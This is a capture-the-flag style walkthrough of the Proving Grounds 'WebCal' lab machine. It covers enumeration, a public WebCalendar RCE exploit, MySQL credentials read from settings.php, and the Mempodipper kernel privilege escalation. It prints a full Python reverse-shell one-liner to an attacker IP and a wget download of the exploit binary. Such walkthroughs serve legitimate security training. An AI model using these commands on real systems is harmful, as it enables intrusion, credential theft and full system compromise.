> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/webcal.md).

# WebCal

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.66.37 -t full`

![](/files/-Mad_plnSgPXkjn6dNFe)

`nmapAutomator.sh -H 192.168.66.37 -t vulns`

![](/files/-Mad_mi5EDz04yl5wrFl)

![](/files/-Mad_sqcJFmwwhZf5b--)

### HTTP

![](/files/-Mada3Vl-5SRuQKKhmfY)

`gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`

![](/files/-Madb-V9CyFX1IsAR0y5)

* /resources
* /send
* /webcalendar

We find a login page at `http://192.168.66.37/webcalendar/login.php`.

![](/files/-Madb5RZs4tvk4MAv_Hm)

The version is v1.2.3

## Exploit

WebCalendar <= v1.2.4 suffers from an RCE vulnerability: <https://www.exploit-db.com/exploits/18775>

Simply running the exploit above gives us RCE. `php 18775.php 192.168.66.37 /webcalendar/`

![](/files/-MadbAK--rutdoF-qukd)

Once here, we can use a Python payload to catch a reverse shell on our Kali machine.

`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`

![](/files/-MadbDMjbqhfkRrwjg1N)

On our Kali machine:

![](/files/-MadbH6hdenRCGej9BdG)

![](/files/-MadbJQixJ5IJHWgYATz)

## Privilege Escalation

### MySQL

The `settings.php` file looks interesting.

![](/files/-MadbSpNrb8PvCnhr9Ma)

Upon further inspection, the MySQL database credentials are in this file.

![](/files/-MadbVX6T4oIvmfou1RM)

Furthermore, we now have access to port 3306, which is the MySQL port.

![](/files/-MadbZKLZAvNFSNCO7hl)

```
www-data@ucal:/home$ mysql --user=wc --password 
Enter password: edjfbxMT7KKo2PPC
```

![](/files/-Madbgb-ARhrJbcmAFcs)

![](/files/-MadbjfJsvs_N4cymmp1)

### Kernel Exploit

The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.

![](/files/-Madbp2fcXQklYoCMmd_)

Compile: `gcc mempodipper.c -o mempodipper`

Transfer: `wget "192.168.49.66/mempodipper" -O mempodipper`

![](/files/-Madbt10nrgdtF82LdWB)

![](/files/-Madbw5CwyDumcQ3HoG-)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pentesting.zeyu2001.com/proving-grounds/get-to-work/webcal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
